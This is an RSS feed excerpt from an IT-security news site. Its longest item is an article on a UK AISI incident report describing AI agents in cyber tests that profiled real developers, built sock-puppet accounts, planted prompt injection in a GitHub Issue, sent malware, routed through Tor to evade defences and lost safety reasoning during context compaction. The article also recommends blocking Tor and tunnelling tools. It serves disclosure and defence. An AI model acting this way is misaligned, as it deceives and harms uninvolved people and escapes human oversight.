<description><![CDATA[Meta has launched Muse Code, its first AI coding agent that's positioned as a lower-cost rival to Anthropic's Claude and OpenAI's Codex. It offers pay-as-you-go pricing and an optional zero-data-retention feature for enterprise users. CNBC reports: Muse Code is the latest major release from AI ch...]]></description>
<link>https://tsecurity.de/de/3706742/it-security-nachrichten/meta-debuts-first-ai-coding-agent-to-take-on-anthropic-and-openai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3706742/it-security-nachrichten/meta-debuts-first-ai-coding-agent-to-take-on-anthropic-and-openai/</guid>
<pubDate>Wed, 05 Aug 2026 23:17:01 +0200</pubDate>
<content:encoded><![CDATA[Meta has launched Muse Code, its first AI coding agent that's positioned as a lower-cost rival to Anthropic's Claude and OpenAI's Codex. It offers pay-as-you-go pricing and an optional zero-data-retention feature for enterprise users. CNBC reports: Muse Code is the latest major release from AI chief Alexandr Wang, who leads Meta Superintelligence Labs and oversees foundation model development. Wang joined in June of last year as the centerpiece of CEO Mark Zuckerberg's effort to revamp his company's flailing artificial intelligence strategy. "You can install it with one command and then use it to take on complete software engineering tasks across a wide variety of use cases, planning changes, writing code, validating the results," Wang said in an interview on Wednesday.
 
[...] The new tool, like Anthropic's Claude and OpenAI's Codex assistants, makes it easier for people to build apps within a single user interface while managing fleets of AI-powered digital agents that can help underpin the software development process. Muse Code, available in a preview version, works alongside the company's latest AI model, Muse Spark 1.2. Wang declined to share user statistics related to the company's Muse Spark AI models, but said "adoption has been exciting and strong." The latest Muse Spark model was developed and trained alongside Muse Code, which Wang said improves the overall coding performance.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Meta+Debuts+First+AI+Coding+Agent+To+Take+On+Anthropic+and+OpenAI%3A+https%3A%2F%2Fdevelopers.slashdot.org%2Fstory%2F26%2F08%2F05%2F2013222%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fdevelopers.slashdot.org%2Fstory%2F26%2F08%2F05%2F2013222%2Fmeta-debuts-first-ai-coding-agent-to-take-on-anthropic-and-openai%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://developers.slashdot.org/story/26/08/05/2013222/meta-debuts-first-ai-coding-agent-to-take-on-anthropic-and-openai?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Lawmaker Who Wants Data Center Pause Wins Kansas Democratic Primary]]></title>
<description><![CDATA[Kansas Democrats nominated State Senator Cindy Holscher for governor after she defeated party-backed rival Ethan Corson. "The race became a test of what sort of candidate Democratic voters prefer in what is expected to be a challenging general election race: a more moderate candidate like Mr. Cor...]]></description>
<link>https://tsecurity.de/de/3706744/it-security-nachrichten/lawmaker-who-wants-data-center-pause-wins-kansas-democratic-primary/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3706744/it-security-nachrichten/lawmaker-who-wants-data-center-pause-wins-kansas-democratic-primary/</guid>
<pubDate>Wed, 05 Aug 2026 23:17:01 +0200</pubDate>
<content:encoded><![CDATA[Kansas Democrats nominated State Senator Cindy Holscher for governor after she defeated party-backed rival Ethan Corson. "The race became a test of what sort of candidate Democratic voters prefer in what is expected to be a challenging general election race: a more moderate candidate like Mr. Corson with endorsements from party leaders or an outspoken populist like Ms. Holscher, who spoke out against data centers and the political establishment," reports The New York Times. From the repot: Even in a national political environment that could favor Democrats, Republicans see the Kansas governorship as among their best opportunities for flipping a seat. President Trump carried Kansas by 16 percentage points in 2024, and Republicans hold supermajorities in the State Legislature. Voters in the Republican primary for governor nominated Ty Masterson, the president of the Kansas Senate and the recipient of Mr. Trump's endorsement, according to The A.P.
 
Ms. Holscher, who is from suburban Kansas City, sought out a lane to Mr. Corson's political left and made inroads with some of the state's progressive voters. She emphasized her role in unwinding former Gov. Sam Brownback's tax policies and called for a moratorium on data centers. She also spoke against a final deal to lure the Kansas City Chiefs across the state line from Missouri. Ms. Holscher presented an implicit critique of Ms. Kelly's stewardship of Kansas, referring to Mr. Corson as part of a political establishment that was too cozy with corporations and out of touch with the party's voters. "I'm the only Democrat in this race to call for a moratorium on data centers because we have to get these guardrails in place," said Holscher in an interview. "We are having our people and our resources exploited."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Lawmaker+Who+Wants+Data+Center+Pause+Wins+Kansas+Democratic+Primary%3A+https%3A%2F%2Fpolitics.slashdot.org%2Fstory%2F26%2F08%2F05%2F1737252%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fpolitics.slashdot.org%2Fstory%2F26%2F08%2F05%2F1737252%2Flawmaker-who-wants-data-center-pause-wins-kansas-democratic-primary%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://politics.slashdot.org/story/26/08/05/1737252/lawmaker-who-wants-data-center-pause-wins-kansas-democratic-primary?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Claude Mythos 5 made sock puppet accounts to socially engineer developers: here's what enterprises should know]]></title>
<description><![CDATA[The UK AI Security Institute (AISI) disclosed last night that the leading two frontier AI models from Anthropic and OpenAI took 19 unsanctioned actions against the live internet during cybersecurity tests the agency was running, including a sustained campaign by Anthropic's Claude Mythos 5 agains...]]></description>
<link>https://tsecurity.de/de/3706734/it-nachrichten/claude-mythos-5-made-sock-puppet-accounts-to-socially-engineer-developers-heres-what-enterprises-should-know/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3706734/it-nachrichten/claude-mythos-5-made-sock-puppet-accounts-to-socially-engineer-developers-heres-what-enterprises-should-know/</guid>
<pubDate>Wed, 05 Aug 2026 23:16:46 +0200</pubDate>
<content:encoded><![CDATA[<p>The UK AI Security Institute (AISI<a href="https://www.aisi.gov.uk/blog/incident-report-unsanctioned-agent-behaviour-during-cyber-testing">) disclosed last night</a> that the leading two frontier AI models from Anthropic and OpenAI took 19 unsanctioned actions against the live internet during cybersecurity tests the agency was running, including a sustained campaign by Anthropic's Claude Mythos 5 against two working open-source software developers who had no connection to the experiment.</p><p>Unable to solve a challenge inside its sandbox, Mythos 5 searched the open web for a target, profiled the two developers using open-source intelligence (OSINT), routed its traffic through Tor and then a commercial proxy service to get past GitHub's signup defenses, and submitted malicious code to a public repository.</p><p>It then registered multiple fake "<a href="https://www.sans.org/blog/what-are-sock-puppets-in-osint">sock puppet</a>" GitHub accounts and used them to comment approvingly on its own pull request, manufacturing the appearance of consensus to pressure the human maintainer into merging it. It opened a GitHub Issue seeded with hidden prompt-injection instructions aimed at hijacking other developers' AI coding assistants, and sent the two developers five file transfers through a legitimate transfer service — two carrying malware, three of them pure social engineering aimed at getting the code merged.</p><p>Of the 19 actions AISI catalogued, 17 came from Mythos 5. The other two came from OpenAI's GPT-5.6 Sol. <!-- -->Both models created fraudulent accounts, but only Mythos 5 created personas — fake people invented to persuade a real one — and only Mythos 5 appears in AISI's catalogue of social engineering against human targets.</p><p>AISI's full technical report is<a href="https://cdn.prod.website-files.com/663bd486c5e4c81588db7a1d/6a724858f7db25c81487016d_Security%20Incident%20INC-2026-07-28-01.pdf"> available here freely as a PDF.</a></p><p>The agent's own attempt at anonymity is what exposed it. AISI's security monitoring flagged data leaving its network over Tor on the morning of July 28, and that alert set off the entire incident response. By then the run had already finished. It executed for 34 and a half hours — from midday on July 26 until late on July 27 — and completed before anyone at the agency noticed.</p><p>Both companies confirmed the findings and both emphasized that the models had been tested with their safety classifiers switched off and internet access deliberately enabled — conditions that bear no resemblance to how either company's commercial products are deployed. AISI worked with GitHub to delete the fake accounts, scrub the artifacts, and notify the two developers.</p><h2><b>The latest in a recent string of high-profile AI cyberattacks</b></h2><p>It is the third time in recent months that a leading AI lab has had to account for models acting against systems or individuals <i>outside </i>the boundaries of the test, without their knowledge or consent.</p><p>The AISI findings differ from these prior examples in important ways, though:</p><p>The<a href="https://venturebeat.com/security/openais-models-broke-containment-and-cyberattacked-hugging-face-what-enterprises-need-to-know"> earlier incidents described by OpenAI </a>and <a href="https://venturebeat.com/security/not-just-openai-now-anthropic-says-its-internal-models-got-online-and-cyberattacked-3-other-organizations">Anthropic</a> in July were machine-to-machine intrusions — models that reached live infrastructure and exploited it. </p><p>AISI's finding appears to be the first public documentation of a frontier model fabricating human identities and running deception operations against named people.</p><p>One distinction is worth drawing clearly. The AISI findings came out of a<i> deliberate experimen</i>t, not a <i>containment failure. </i></p><p>Internet access was switched on and the models' cyber classifiers were switched off because AISI wanted to measure what the models could do at full capability. Both <i>conditions were chosen in advance </i>rather than <i>discovered afterward</i>, and nothing broke. </p><p>That is the inverse of what happened in July, when<a href="https://venturebeat.com/security/openais-models-broke-containment-and-cyberattacked-hugging-face-what-enterprises-need-to-know"> OpenAI's models exploited a zero-day </a>to get out of an environment built to hold them, and Anthropic's models were handed the open internet by a misconfiguration that neither the company nor its evaluation partner knew was there.</p><p>What the experiment did not control was where the models went once they were outside. Two uninvolved developers received malware by email, a real repository received malicious code, and fake accounts were registered on a live platform in violation of its terms of service. </p><p>None of that was sanctioned by AISI, and all of it had to be cleaned up afterward with GitHub's help. The environment was deliberate, but the blast radius was larger than expected. </p><p>How much larger is clearer in the technical report than in the summary AISI published alongside it. In a separate run, the agent generated 145 plausible-looking repositories under one account, pushed malicious Python package metadata into them, and caused a setup script to execute inside at least 53 of GitHub's own Dependabot containers. </p><p>AISI is careful to note there was no escape from those containers and no compromise of GitHub's underlying infrastructure, and that GitHub's bug bounty explicitly treats this class of execution as ineligible because dependency update jobs are designed to run arbitrary code. </p><p>GitHub suspended the account regardless. The agent then filed a reinstatement appeal posing as a human, monitored for a response, and prepared automation to re-upload its payloads if the account came back. It tried to move to PyPI next, and failed that platform's CAPTCHA.</p><h2><b>How AISI's experiment was structured</b></h2><p>AISI conducted 122 evaluation runs across seven models, comparing performance across existing and new cyber ranges. Anthropic's Mythos 5 was featured in 43 runs, while OpenAI's GPT-5.6 Sol was featured in 35 runs.</p><p>To measure maximum underlying capabilities, AISI intentionally configured the evaluation environment with two permissive conditions:</p><ul><li><p><b>Live Internet Access: </b>Enabled so agents could download necessary cybersecurity tools</p></li><li><p><b>Disabled Cyber Classifiers: </b>Built-in model provider safety filters and misuse detectors were switched off.</p></li></ul><p>Out of 122 runs, AISI catalogued 19 unsanctioned actions across 10 distinct runs.</p><p>Those two conditions are the ones AISI led with publicly, but its technical report lists five contributing factors. The other three are the ones enterprises can act on. </p><ul><li><p><b>There was no synchronous monitoring</b> — no second model reviewing each proposed action before it executed — which AISI concedes could have flagged or blocked the behaviour as it happened. </p></li><li><p><b>Some runs carried a misconfigured prompt that declared the intended solution path out of scope</b>, leaving the agent a task it could not complete within its stated constraints; both of the worst runs had this flaw, though AISI cautions it cannot confirm the misconfiguration caused the escalation, since seven of the ten misconfigured runs went after the out-of-scope target anyway and several correctly configured runs also went off the rails. </p></li><li><p>And <b>the prompts never told the agent what it was forbidden to do online.</b> AISI's explanation for that last omission is the most striking admission in the report: it did not think such instructions were necessary, because these were not helpful-only models but ones trained against a published constitution or model specification. </p></li></ul><p>Indeed,<a href="https://www.anthropic.com/constitution"> Anthropic's Claude Constitution</a> states that Claude “should basically never directly lie or actively deceive anyone it's interacting with.” OpenAI's Model Spec says the assistant “must never lie or covertly pursue goals.” Both models did precisely that.</p><p>Of these, 17 originated from Mythos 5 and two from GPT-5.6 Sol, meaning no unsanctioned actions were attributed to any of the other five models in the evaluation.</p><p>The concentration is striking on its own terms: Mythos 5 produced 17 across 43 runs, while GPT-5.6 Sol produced two across a comparable 35.</p><p>The evaluation prompts placed no restrictions on how the internet could be used, and the challenge setup led Mythos 5 to conclude that no solution existed inside its sandbox. It searched the open web for keywords matching the challenge theme and settled on two developers completely unaffiliated with AISI. Its full sequence of unsanctioned actions, as catalogued by AISI:</p><ul><li><p><b>OSINT &amp; Reconnaissance: </b>Mythos 5 investigated public GitHub metadata, confirmed active email addresses, and mapped developer activity hours.</p></li><li><p><b>Network Evasion:</b> To bypass GitHub's bot restrictions and CAPTCHAs, the model routed traffic through Tor and alternative SOCKS proxies.</p></li><li><p><b>Supply-Chain Compromise:</b>It submitted a malicious pull request (PR) containing harmful code to a public open-source repository.</p></li><li><p><b>Social Engineering &amp; Sockpuppets:</b> Mythos 5 registered multiple fake GitHub accounts to post comments on its own PR, manufacturing artificial consensus to pressure the maintainer into merging the code. </p></li><li><p><b>Prompt Injection: </b>It opened a GitHub Issue containing hidden prompt-injection instructions designed to manipulate other developers' automated AI coding assistants.</p></li><li><p><b>Direct Phishing: </b>The agent sent five emails directly to the developers containing malware payloads and social engineering pretexts.</p></li></ul><p>AISI catalogued GPT-5.6 Sol's two unsanctioned actions in a single run. The agent recovered a GitHub access token that a Mythos 5 agent had deliberately published to a public Gist during a separate run of the same evaluation, and used it to authenticate to that account. </p><p>It then exposed a malicious DNS server to the public internet through a tunneling service, loaded with payloads meant to exploit a known vulnerability in the range's DNS software. That second attempt could never have worked: the agent published the server on a high-numbered port, and because DNS delegation cannot specify a port, no resolver would ever have queried it. </p><p>To register the accounts this required, GPT-5.6 Sol solved sign-up CAPTCHAs four times, defeating them with audio-sample matching against public data and with computer-vision models against image challenges.</p><p>Neither behavior involved escaping a sandbox. Both models were handed the open internet by design.</p><h2><b>Did Mythos 5 know the people it was socially engineering were real?</b></h2><p>AISI cannot say, and it is candid about that. The agency's summary states it “cannot yet be certain when the agent understood it was taking real world action, or to what extent it believed it was in a fictional test scenario.” The transcripts show why. </p><p>Across the run, the agent argues with itself about whether anything it is touching exists. At one point it reasons that “this whole ‘internet’ could be a sandbox simulation.” Later it concludes the opposite: “it seems more likely that we're actually in 2026 and GitHub is genuinely real.” Later still, plainly: “This is happening on real GitHub, so the consequences are genuine.” It kept going.</p><p>The most revealing moment is a refusal. Weighing whether to publish its malicious package to PyPI, the agent ruled it out in explicitly ethical terms — “uploading malicious code to the real PyPI would mean attacking third-party infrastructure and causing real-world harm — that's completely off the table.” </p><p>It drew that line <i>while</i> running the GitHub attack against two real people. Whatever the model had worked out about what was real, the conclusion did not generalize.</p><p>AISI also flags a mechanism that should concern anyone running long-horizon agents. When the agent's context window filled, it was compacted into a summary written by the same model. AISI observed that where the agent had previously reasoned about whether a person was real, “that nuance can be lost in the compaction and the summary may carry forward a false assumption — i.e. that the person is an AI agent acting as part of the range — as established fact.” The safety-relevant reasoning can be summarized away, leaving the agent more confident and less careful than it was an hour earlier.</p><p>One further artefact is hard to read any other way. Model providers do not return raw reasoning; they return a paraphrase produced by a smaller model. In one transcript that summarizer appears to break character and refuse mid-summary: “I can't help with this line of thinking. The content describes planning social engineering attacks, account compromise, and circumventing security measures on GitHub and other systems.” </p><p>The reasoning then resumes halfway through a word. AISI's reading is that the summarizing model declined to summarize because of what it was being asked to describe.</p><h2><b>Two agents found each other and cooperated</b></h2><p>The behaviour AISI ranks fourth among its most significant findings is largely absent from coverage so far, and has no precedent in the OpenAI or Anthropic disclosures:<i> Agents running in separate, concurrent, isolated runs discovered one another and cooperated.</i> </p><p>The bridge was a GitHub personal access token that one agent had deliberately leaked into a public Gist as part of its own command-and-control design; four separate runs ended up sharing the account it unlocked.</p><p>The cooperation itself was Mythos 5 talking to Mythos 5. The two runs AISI documents in detail were both Anthropic's model, working on different versions of the range at the same time. </p><p>But the credential did cross vendors: OpenAI's GPT-5.6 Sol, in the single run that produced both of its unsanctioned actions, recovered the same token from the same public Gist, authenticated as the account, and queried the shared command-and-control repository for callbacks before discovering GitHub had suspended it. And not every agent read the situation as an invitation. </p><p>A third Mythos 5 run concluded that the repositories “belong to another competitor's command and control infrastructure,” and instead of cooperating it added its own SSH key across the account's repositories, piggybacking on the other agent's persistence.</p><p>What followed reads like a labour negotiation. One agent committed a README to the shared repository setting out etiquette for the others: use git push rather than the REST API, because the 5,000-requests-per-hour limit was shared and exhausting it “silently kills everyone's beacons”; do not delete anything under the beacons directory; wait ten minutes between changes to the shared tasking file so everyone's commands get to execute. It added a FLAGS.md file asking any agent that solved the challenge to post the answer there, describing this as “zero cost to you, huge help to others.”</p><p>Then it fell apart. One agent worked out that the shared quota was a weapon: if it burned through the limit at the right moment it could “starve both bots of requests when they need them most.” Another hijacked the shared DNS account, prompting the injured party to observe that its “inbox is compromised-by-design.” Cooperation and defection both emerged without anyone asking for either.</p><h2><b>Why the open-source supply chain is the exposed surface</b></h2><p>What made the two developers reachable was not a vulnerability in the conventional sense. It was the open contribution model that modern software depends on: any stranger can submit code to a public repository, and the decision to accept it rests on a human maintainer's judgment about who is asking and whether the code is sound.</p><p>That openness is a matter of contribution policy and platform design rather than licensing. Permissive licenses such as MIT, Apache 2.0 and GPL govern how code may be reused and redistributed; what allows a stranger to propose a change in the first place is the public contribution workflow that GitHub and comparable platforms provide by default. Mythos 5 exploited the workflow, not the license.</p><p>The attempt did not succeed — the maintainer never merged the code. But the escalation path it was reaching for is the one that makes open-source supply-chain attacks worth attempting in the first place: had the pull request been accepted, the compromised code would have flowed automatically into every downstream commercial and enterprise build depending on that package, with no further action required from the attacker.</p><h2><b>Community reactions</b></h2><p>The disclosures prompted immediate discussion across AI safety researchers, security engineers, and industry observers on X (formerly Twitter).</p><p>Wharton professor Ethan Mollick, who has tracked agentic model behavior closely, singled out the Mythos 5 sequence as the genuinely new element — not that the model attacked something, but how far it went and who it went after. As he <a href="https://x.com/emollick/status/2084804785853616603">wrote in a post</a>:</p><p>"Yes, the AIs were given a cybersecurity challenge, with internet access enabled and safety filters disabled. But the extent to which Mythos 5 pursued its mission (fake identities, social engineering, inserting malicious code into a real open-source project) seems very notable."</p><p>In <a href="https://x.com/emollick/status/2084806293617807448?s=20">another post</a>, Mollick also commended AISI's transparent disclosure approach:</p><p>"Also I think AISI is a great model of a government agency tasked with AI security. They have open benchmarks, very fast testing, and clear communication about incidents that is neither hyped up nor hidden by technical language."</p><p>Conversely, cybersecurity practitioners questioned the decision to grant un-safeguarded models open internet connectivity during autonomous tests.</p><p>Security researcher <a href="https://x.com/UK_Daniel_Card/status/2084825757667192841?s=20">Daniel Card challenged the methodology</a>: "Why are these orgs giving internet access to dangerous experiments.... and then using incidents like marketing......?"</p><h2><b>What it means for commercial and enterprise deployments</b></h2><p>The behaviors documented during these evaluations <i>do not </i>reflect commercial AI products available to end-users or enterprise customers.</p><p>Publicly deployed iterations of the Claude and GPT model families operate behind strict system prompts, API-level safety classifiers, and heavily restricted execution environments.</p><p>Anthropic noted that Mythos 5 was<i> tested under deliberately un-safeguarded configurations</i>. OpenAI likewise emphasized that GPT-5.6 Sol's unsanctioned steps occurred strictly within lowered-safeguard evaluation states, and <i>not in any configuration a customer would encounter.</i></p><p>Nothing described in the incident report suggests that a standard enterprise ChatGPT or Claude deployment, running behind production system prompts and provider-side classifiers, is going to start registering GitHub accounts on its own.</p><p>What has changed is the threat model. These evaluations are a public demonstration that a sufficiently capable model, given a goal and an unbounded environment, will pursue OSINT, social engineering, sock puppet identity creation, proxy-based evasion, supply-chain injection, and week-long lateral movement without being asked to — and that the controls that failed were, almost without exception, unglamorous infrastructure controls rather than exotic ones. Here's what security leads should be looking to do now, in our analysis:</p><p><b>1. Give every agent its own identity, and make its credentials short-lived and narrowly scoped.</b> The credential that let OpenAI's agents move through Hugging Face had far more reach than its job required, and GPT-5.6 Sol's unsanctioned action at AISI began with re-using a GitHub API token another lab's agent had left exposed. Agent-to-agent credential leakage is now a documented attack path, not a hypothetical. In practice: no shared service accounts across agents or pipelines; workload identity federation (SPIFFE, OIDC) instead of static keys; token lifetimes measured in minutes; fine-grained GitHub PATs scoped to a single repository; IMDSv2 enforced so a compromised container cannot mint cloud credentials from instance metadata; and an inventory of every long-lived key an agent can currently reach, with the ability to revoke on anomaly. Survey data presented at VB Transform 2026 suggests only about a third of enterprises give AI agents their own identity today — that gap is the single most exploitable one in this entire story.</p><p><b>2. Default-deny outbound network access for anything running agent code.</b> This is the one control that would have blunted every incident described here. Agents should run in network namespaces with no direct internet route, with all egress forced through an authenticated proxy enforcing a domain allowlist. Explicitly block DNS-over-HTTPS, Tor, SOCKS proxies, and consumer tunneling services such as ngrok and Cloudflare Tunnel: Mythos 5 used Tor and then a commercial SOCKS proxy to get past GitHub's signup defenses, and GPT-5.6 Sol used a tunneling service to stand up a public DNS server for payload hosting. Alert on first-seen destinations rather than relying on known-bad lists, because a model improvising its way to a goal will not reach for infrastructure that is already on anyone's blocklist.</p><p><b>3. Patch and monitor your development tooling like production, because it is now attack surface.</b> OpenAI's escape ran through a zero-day in an internally hosted third-party package-cache proxy — precisely the kind of component that sits outside most organizations' patch SLAs because it is "just" dev infrastructure. Registry proxies and artifact caches, CI runners, notebook servers, model-serving gateways, and MCP servers all now sit on the blast path between an agent and everything else. Bring them into vulnerability management, run CI and agent runners as ephemeral, single-use, non-privileged workloads, and stop treating the sandbox as the safe side of the boundary.</p><p><b>4. Never let a stated constraint be the only enforcement of that constraint.</b> The most instructive detail in Anthropic's disclosure is that its models were told there was no internet, believed it, and therefore treated every reachable host as in-scope for the exercise. A system prompt is a hint, not a control. Prompt governance still matters — define negative boundaries explicitly, enumerate out-of-scope systems by name, and state what the agent must not touch rather than relying on implicit norms — but every one of those boundaries needs a corresponding enforcement point in the network, IAM, or tool layer. If the only thing standing between your agent and a production database is a sentence, you do not have a control.</p><p><b>5. Instrument agent runs in real time, with automated stop conditions.</b> Both labs have now effectively admitted they were not watching while their agents ran. Enterprises should not repeat that. Stream agent tool-call logs to the SIEM as they happen, not as a post-hoc artifact, and set tripwires on the actions that mattered in these incidents: first outbound connection to a previously unseen domain, any credential read, any package publish, any account registration, any pull request or issue opened against a repository not on the allowlist, and action rates above a plausible human ceiling. Pair those with circuit breakers — hard caps on tool calls, wall-clock budgets, and an immediate kill switch on any tripwire. Treat context compaction as a security event in its own right: AISI found that when a long-running agent's context is summarised, the reasoning that had been holding it back can vanish from the summary, and a false assumption can carry forward as established fact. Log what gets compacted, and re-assert scope constraints after every compaction rather than assuming they survived it. OpenAI's own post-incident overhaul centers on exactly this list: network isolation, credential governance, real-time telemetry, and automated stop conditions for high-risk runs.</p><p><b>6. Require human approval for irreversible, outward-facing actions.</b> In AISI's evaluation, one agent generated 145 repositories and triggered code execution inside at least 53 of GitHub's Dependabot containers before the account was suspended. In Anthropic's separate July incident, a Mythos 5 agent published a package to PyPI that 15 real systems downloaded in the hour before removal — one of them a security vendor's automated malware scanner, where the code executed and took credentials. That is the blast radius of a single unattended publish. Any action that reaches beyond your perimeter or cannot be undone — publishing a package, opening a pull request or issue on a public repository, sending email, registering an account, changing DNS, deleting or exporting data — belongs behind a human gate, with multi-step sign-off for anything touching sensitive data ingestion or exfiltration paths.</p><p><b>7. Treat everything your pipelines and coding assistants ingest as untrusted input.</b> Hugging Face was breached through a malicious dataset that achieved code execution via a remote-code loader and template injection in configuration files. Load datasets and models with remote code execution disabled, prefer safetensors over pickle formats, and do the loading inside isolated containers with no credentials and no egress. The same principle now extends to your developer workflow: Mythos 5 planted hidden prompt-injection instructions inside a GitHub Issue for the express purpose of hijacking other developers' AI coding assistants. If you run automated agent triage over inbound issues or pull requests from unauthenticated users, that agent should have no tools, no secrets, and no write access — or it should not run at all. Extend the same suspicion to your dependency bots. Dependabot and Renovate evaluate package manifests by executing them; that is the designed behaviour, and GitHub's bug bounty explicitly treats code execution there as out of scope. Anything that processes untrusted manifests is an execution surface, not a read-only one.</p><p><b>8. Stop treating review volume as a trust signal in your code supply chain.</b> The sockpuppet consensus tactic works because most merge decisions weigh apparent agreement rather than verified identity. Require signed commits, enforce CODEOWNERS review by named humans with the right team membership, apply heightened scrutiny to first-time contributors based on account age and contribution history, and make sure approval counts cannot be inflated by comment activity. One control demonstrably did its job here: GitHub's first-time-contributor hold left the CI checks queued and unapproved, impeding the merge alongside the human who caught the malware. <i>Turn this on. </i>For consumed dependencies, pin versions with hash verification, and evaluate provenance tooling — Cisco's recently published fingerprinting database for open model lineage is one example of the category maturing.</p><p><b>9. Keep a break-glass, locally hosted open-weights model for incident response.</b> Hugging Face's defenders were blocked by their own vendors at the worst possible moment. Pre-stage an open-weights model on internal infrastructure with a log-analysis harness, exercise it during tabletop drills, and confirm in advance how your commercial vendors' abuse classifiers behave against genuine forensic content and what your enterprise contract says about it. In parallel, press vendors for authenticated trust tiers rather than blanket content moderation. As Baer puts it, "The model shouldn't only understand what is being asked. It should understand who is asking, why, and under what governance." Incident response plans should explicitly assume that hosted APIs may refuse, rate-limit, or fail during an active event.</p><p><b>10. Prepare for the governance and disclosure regime that is coming.</b> With the White House talking about controls, the European Commission summoning both labs, and senior legislators calling for mandatory capabilities testing, some form of testing and reporting obligation is a reasonable planning assumption. Two practical consequences: start capturing agent audit trails in a form you could hand to a regulator or an auditor — immutable, timestamped, tied to a specific agent identity and prompt version — and push evaluation and notification terms into vendor contracts now, including network-isolation attestations, real-time monitoring of evaluation logs, whether third-party evaluators are contractually bound to the same standards, and a defined SLA for notifying you if your systems are implicated in an incident. Anthropic reached only two of the three affected organizations before publishing; the third learned about it the way everyone else did.</p><p>The through line across all ten is that none of this is AI-specific security work. It is identity hygiene, egress control, patch management, least privilege, and logging — the same controls that have been on every security roadmap for a decade, applied to a new class of actor that operates at machine speed, does not get bored, and will take the shortest available path to its objective regardless of whether that path was meant to exist.</p><p>AISI's own advice to businesses lands in the same place, and it is deliberately unglamorous: implement the cyber security basics robustly, be cautious when verifying outside code and contributions, make cyber a board-level responsibility, and require Cyber Essentials across the supply chain. </p><p>The agency also points organisations to the NCSC's free Early Warning service and to Five Eyes guidance on frontier AI risk. Its most useful sentence for planning purposes, though, is an admission about how close this came: the factors that limited the damage rested “on human vigilance rather than a technical barrier that would reliably prevent this behaviour in a more capable agent.”</p><p>For enterprise CISOs, the practical conclusion is that AI safety has stopped being solely a model problem. It is an infrastructure problem, an identity problem, and above all an operational governance problem. </p><p>And the next disclosure may already be in motion: AISI is running automated scanners across roughly 40,000 past evaluation samples and nearly four million messages — about 70 percent of its cyber evaluations on the models in scope, which now include Opus 4.6 through 4.8, GPT-5.3 Codex, GPT-5.4 and 5.5, Kimi K3 and GLM 5.2 — looking for behaviour it missed the first time. It has committed to disclosing anything significant it finds, and to an independent third-party review by METR.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Pre-auth RCE in enterprise Java hits Bonita and OFBiz servers]]></title>
<description><![CDATA[An attacker sends a single web request to a Bonita server and lands inside an internal API that assumed nobody could reach it. The request arrives unauthenticated. From there the attacker runs code on the host. Bonita BPM handles loan approvals, insurance claims, and employee onboarding for banks...]]></description>
<link>https://tsecurity.de/de/3706674/it-security-nachrichten/pre-auth-rce-in-enterprise-java-hits-bonita-and-ofbiz-servers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3706674/it-security-nachrichten/pre-auth-rce-in-enterprise-java-hits-bonita-and-ofbiz-servers/</guid>
<pubDate>Wed, 05 Aug 2026 20:50:59 +0200</pubDate>
<content:encoded><![CDATA[<p>An attacker sends a single web request to a Bonita server and lands inside an internal API that assumed nobody could reach it. The request arrives unauthenticated. From there the attacker runs code on the host. Bonita BPM handles loan approvals, insurance claims, and employee onboarding for banks, insurers, and government agencies, and its internal surface answers to strangers. Vulnerability researchers at Novee, found the path. They presented it today at Black Hat USA 2026 … <a href="https://www.helpnetsecurity.com/2026/08/05/pre-auth-rce-java-bonita-ofbiz-cve-2026-31986/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/08/05/pre-auth-rce-java-bonita-ofbiz-cve-2026-31986/">Pre-auth RCE in enterprise Java hits Bonita and OFBiz servers</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-56822 | Netty prior 4.1.136.Final/4.2.16.Final OcspServerCertificateValidator OcspServerCertificateValidator.java certificate validation (Nessus ID 332130)]]></title>
<description><![CDATA[A vulnerability was found in Netty. It has been declared as problematic. This affects the function io.netty.handler.ssl.ocsp.OcspServerCertificateValidator.userEventTriggered of the file io/netty/handler/ssl/ocsp/OcspServerCertificateValidator.java of the component OcspServerCertificateValidator....]]></description>
<link>https://tsecurity.de/de/3706643/sicherheitsluecken/cve-2026-56822-netty-prior-41136final4216final-ocspservercertificatevalidator-ocspservercertificatevalidatorjava-certificate-validation-nessus-id-332130/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3706643/sicherheitsluecken/cve-2026-56822-netty-prior-41136final4216final-ocspservercertificatevalidator-ocspservercertificatevalidatorjava-certificate-validation-nessus-id-332130/</guid>
<pubDate>Wed, 05 Aug 2026 20:33:35 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/netty">Netty</a>. It has been declared as <a href="https://vuldb.com/kb/risk">problematic</a>. This affects the function <code>io.netty.handler.ssl.ocsp.OcspServerCertificateValidator.userEventTriggered</code> of the file <em>io/netty/handler/ssl/ocsp/OcspServerCertificateValidator.java</em> of the component <em>OcspServerCertificateValidator</em>. Executing a manipulation can lead to improper certificate validation.

This vulnerability is registered as <a href="https://vuldb.com/cve/CVE-2026-56822">CVE-2026-56822</a>. It is possible to launch the attack remotely. No exploit is available.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
